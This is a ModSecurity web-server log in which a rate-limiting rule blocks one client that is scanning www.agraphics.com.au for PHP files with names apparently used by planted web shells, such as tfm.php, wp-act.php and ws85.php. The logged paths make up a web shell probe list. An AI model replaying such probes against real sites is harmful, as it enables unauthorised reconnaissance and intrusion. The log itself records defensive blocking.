[Wed Mar 25 23:19:51.834074 2026] [:error] [pid 25875:tid 25886] [client 132.164.249.185:8788] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/d12.php"] [unique_id "acP9FxJ38QkS3NyfshxXLwAAAoU"]
[Wed Mar 25 23:19:52.355821 2026] [:error] [pid 47946:tid 47967] [client 132.164.249.185:8755] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/d12.php"] [unique_id "acP9GDipQTqBMSeKYheP8gAAARM"]
[Wed Mar 25 23:19:52.941607 2026] [:error] [pid 26321:tid 26341] [client 132.164.249.185:7082] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/d12.php"] [unique_id "acP9GPKO65qqGZCSPZpunAAAAgI"]
[Wed Mar 25 23:19:53.572506 2026] [:error] [pid 26449:tid 26472] [client 132.164.249.185:7138] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/d12.php"] [unique_id "acP9GdpZ2T15NDqzAjGX_QAAAlM"]
[Wed Mar 25 23:19:54.210555 2026] [:error] [pid 26321:tid 26360] [client 132.164.249.185:8766] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tfm.php"] [unique_id "acP9GvKO65qqGZCSPZpunwAAAhM"]
[Wed Mar 25 23:19:54.841064 2026] [:error] [pid 25967:tid 25982] [client 132.164.249.185:7046] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tfm.php"] [unique_id "acP9Gvg8Qtq7ZM4mSFmTmQAAA0o"]
[Wed Mar 25 23:19:55.359097 2026] [:error] [pid 47946:tid 47972] [client 132.164.249.185:8792] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tfm.php"] [unique_id "acP9GzipQTqBMSeKYheP8wAAARg"]
[Wed Mar 25 23:19:55.923978 2026] [:error] [pid 47989:tid 48012] [client 132.164.249.185:8816] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tfm.php"] [unique_id "acP9GyWKdJMhIccROjkXowAAAVU"]
[Wed Mar 25 23:19:56.482047 2026] [:error] [pid 47989:tid 48014] [client 132.164.249.185:7052] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-act.php"] [unique_id "acP9HCWKdJMhIccROjkXpQAAAVc"]
[Wed Mar 25 23:19:57.016950 2026] [:error] [pid 25967:tid 25976] [client 132.164.249.185:7118] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-act.php"] [unique_id "acP9Hfg8Qtq7ZM4mSFmTngAAA0Q"]
[Wed Mar 25 23:19:57.566182 2026] [:error] [pid 25875:tid 25903] [client 132.164.249.185:7108] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-act.php"] [unique_id "acP9HRJ38QkS3NyfshxXMgAAApY"]
[Wed Mar 25 23:19:58.073631 2026] [:error] [pid 25969:tid 26029] [client 132.164.249.185:7127] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-act.php"] [unique_id "acP9Hhd3aEUmOfdKja8bXgAAA8M"]
[Wed Mar 25 23:19:58.674626 2026] [:error] [pid 25875:tid 25905] [client 132.164.249.185:8785] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "acP9HhJ38QkS3NyfshxXNAAAApg"]
[Wed Mar 25 23:19:59.210332 2026] [:error] [pid 25967:tid 25974] [client 132.164.249.185:8769] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "acP9H_g8Qtq7ZM4mSFmToAAAA0I"]
[Wed Mar 25 23:19:59.720036 2026] [:error] [pid 47989:tid 47997] [client 132.164.249.185:8727] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "acP9HyWKdJMhIccROjkXrQAAAUY"]
[Wed Mar 25 23:20:00.236183 2026] [:error] [pid 25967:tid 25987] [client 132.164.249.185:8778] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "acP9IPg8Qtq7ZM4mSFmTpgAAA08"]
[Wed Mar 25 23:20:00.743665 2026] [:error] [pid 25875:tid 25904] [client 132.164.249.185:7116] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws86.php"] [unique_id "acP9IBJ38QkS3NyfshxXNQAAApc"]
[Wed Mar 25 23:20:02.072105 2026] [:error] [pid 25967:tid 25977] [client 132.164.249.185:7080] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws86.php"] [unique_id "acP9Ivg8Qtq7ZM4mSFmTpwAAA0U"]
[Wed Mar 25 23:20:02.576013 2026] [:error] [pid 25967:tid 25984] [client 132.164.249.185:7043] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws86.php"] [unique_id "acP9Ivg8Qtq7ZM4mSFmTqQAAA0w"]
[Wed Mar 25 23:20:03.120640 2026] [:error] [pid 26449:tid 26464] [client 132.164.249.185:7049] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws86.php"] [unique_id "acP9I9pZ2T15NDqzAjGYBAAAAks"]
[Wed Mar 25 23:20:03.654636 2026] [:error] [pid 26321:tid 26344] [client 132.164.249.185:6978] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "acP9I_KO65qqGZCSPZpupgAAAgU"]
[Wed Mar 25 23:20:04.217939 2026] [:error] [pid 25969:tid 26048] [client 132.164.249.185:7056] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "acP9JBd3aEUmOfdKja8bYAAAA9Y"]
[Wed Mar 25 23:20:04.720817 2026] [:error] [pid 756:tid 865] [client 132.164.249.185:8723] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "acP9JDOaW6oylMIDBCQqzwAAAI0"]
[Wed Mar 25 23:20:05.257689 2026] [:error] [pid 26269:tid 26291] [client 132.164.249.185:7107] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "acP9JUn7e-ZQbaIs7qzJfwAAAY8"]
[Wed Mar 25 23:20:05.912306 2026] [:error] [pid 25967:tid 25994] [client 132.164.249.185:7123] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jga.php"] [unique_id "acP9Jfg8Qtq7ZM4mSFmTrAAAA1Y"]
[Wed Mar 25 23:20:06.439897 2026] [:error] [pid 26321:tid 26341] [client 132.164.249.185:8826] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jga.php"] [unique_id "acP9JvKO65qqGZCSPZpuqAAAAgI"]
[Wed Mar 25 23:20:06.989048 2026] [:error] [pid 25969:tid 26043] [client 132.164.249.185:6999] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jga.php"] [unique_id "acP9Jhd3aEUmOfdKja8bZAAAA9E"]
[Wed Mar 25 23:20:07.490190 2026] [:error] [pid 756:tid 867] [client 132.164.249.185:6995] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jga.php"] [unique_id "acP9JzOaW6oylMIDBCQq0gAAAI8"]
[Wed Mar 25 23:20:08.055328 2026] [:error] [pid 47989:tid 47993] [client 132.164.249.185:8733] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin-footer.php"] [unique_id "acP9KCWKdJMhIccROjkXtwAAAUI"]
[Wed Mar 25 23:20:08.815661 2026] [:error] [pid 47946:tid 47958] [client 132.164.249.185:8761] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin-footer.php"] [unique_id "acP9KDipQTqBMSeKYheP9wAAAQo"]
[Wed Mar 25 23:20:10.579795 2026] [:error] [pid 25969:tid 26036] [client 132.164.249.185:8767] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin-footer.php"] [unique_id "acP9Khd3aEUmOfdKja8baAAAA8o"]
[Wed Mar 25 23:20:11.101722 2026] [:error] [pid 26269:tid 26294] [client 132.164.249.185:8783] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin-footer.php"] [unique_id "acP9K0n7e-ZQbaIs7qzJhQAAAZI"]
[Wed Mar 25 23:20:11.612805 2026] [:error] [pid 26269:tid 26282] [client 132.164.249.185:7128] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "acP9K0n7e-ZQbaIs7qzJiAAAAYY"]
[Wed Mar 25 23:20:12.179540 2026] [:error] [pid 26449:tid 26470] [client 132.164.249.185:8717] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "acP9LNpZ2T15NDqzAjGYCQAAAlE"]
[Wed Mar 25 23:20:12.782909 2026] [:error] [pid 26449:tid 26459] [client 132.164.249.185:7130] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "acP9LNpZ2T15NDqzAjGYDAAAAkY"]
[Wed Mar 25 23:20:13.425648 2026] [:error] [pid 26449:tid 26467] [client 132.164.249.185:8743] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "acP9LdpZ2T15NDqzAjGYDgAAAk4"]
[Wed Mar 25 23:20:13.972830 2026] [:error] [pid 25969:tid 26026] [client 132.164.249.185:7122] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "acP9LRd3aEUmOfdKja8bbwAAA8A"]
[Wed Mar 25 23:20:14.498093 2026] [:error] [pid 25875:tid 25893] [client 132.164.249.185:6983] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "acP9LhJ38QkS3NyfshxXPAAAAow"]
[Wed Mar 25 23:20:15.007646 2026] [:error] [pid 25875:tid 25899] [client 132.164.249.185:8800] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "acP9LxJ38QkS3NyfshxXPgAAApI"]
[Wed Mar 25 23:20:15.544655 2026] [:error] [pid 26321:tid 26353] [client 132.164.249.185:7109] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "acP9L_KO65qqGZCSPZpurgAAAgw"]
[Wed Mar 25 23:20:16.049456 2026] [:error] [pid 25875:tid 25900] [client 132.164.249.185:8749] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws85.php"] [unique_id "acP9MBJ38QkS3NyfshxXQQAAApM"]
[Wed Mar 25 23:20:16.568693 2026] [:error] [pid 25875:tid 25897] [client 132.164.249.185:7157] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws85.php"] [unique_id "acP9MBJ38QkS3NyfshxXRAAAApA"]
[Wed Mar 25 23:20:17.091907 2026] [:error] [pid 26321:tid 26358] [client 132.164.249.185:8738] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws85.php"] [unique_id "acP9MfKO65qqGZCSPZpurwAAAhE"]
[Wed Mar 25 23:20:17.642328 2026] [:error] [pid 26321:tid 26340] [client 132.164.249.185:7137] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws85.php"] [unique_id "acP9MfKO65qqGZCSPZpuswAAAgE"]
[Wed Mar 25 23:20:18.160250 2026] [:error] [pid 47989:tid 48013] [client 132.164.249.185:8725] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/file.php"] [unique_id "acP9MiWKdJMhIccROjkXwgAAAVY"]
[Wed Mar 25 23:20:22.882363 2026] [:error] [pid 47989:tid 48004] [client 132.164.249.185:8791] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/file.php"] [unique_id "acP9NiWKdJMhIccROjkX0wAAAU0"]
[Wed Mar 25 23:20:23.384696 2026] [:error] [pid 25875:tid 25898] [client 132.164.249.185:7144] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/file.php"] [unique_id "acP9NxJ38QkS3NyfshxXTgAAApE"]
[Wed Mar 25 23:20:24.906737 2026] [:error] [pid 892:tid 896] [client 132.164.249.185:7142] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/file.php"] [unique_id "acP9OCT_G8WMU3T3yxrpKwAAAMI"]
[Wed Mar 25 23:20:25.416522 2026] [:error] [pid 25875:tid 25890] [client 132.164.249.185:7134] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/buc.php"] [unique_id "acP9ORJ38QkS3NyfshxXVAAAAok"]
[Wed Mar 25 23:20:25.921110 2026] [:error] [pid 47989:tid 48009] [client 132.164.249.185:8811] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/buc.php"] [unique_id "acP9OSWKdJMhIccROjkX1QAAAVI"]
[Wed Mar 25 23:20:26.549542 2026] [:error] [pid 47989:tid 48013] [client 132.164.249.185:8824] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/buc.php"] [unique_id "acP9OiWKdJMhIccROjkX1wAAAVY"]
[Wed Mar 25 23:20:27.078789 2026] [:error] [pid 47989:tid 47992] [client 132.164.249.185:8781] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/buc.php"] [unique_id "acP9OyWKdJMhIccROjkX2AAAAUE"]
[Wed Mar 25 23:20:27.607379 2026] [:error] [pid 25875:tid 25884] [client 132.164.249.185:7042] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws84.php"] [unique_id "acP9OxJ38QkS3NyfshxXWAAAAoM"]
[Wed Mar 25 23:20:28.137669 2026] [:error] [pid 25875:tid 25885] [client 132.164.249.185:7145] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws84.php"] [unique_id "acP9PBJ38QkS3NyfshxXWwAAAoQ"]
[Wed Mar 25 23:20:28.651860 2026] [:error] [pid 25875:tid 25895] [client 132.164.249.185:7129] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws84.php"] [unique_id "acP9PBJ38QkS3NyfshxXXgAAAo4"]
[Wed Mar 25 23:20:29.173998 2026] [:error] [pid 47946:tid 47955] [client 132.164.249.185:7075] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws84.php"] [unique_id "acP9PTipQTqBMSeKYheP_gAAAQc"]
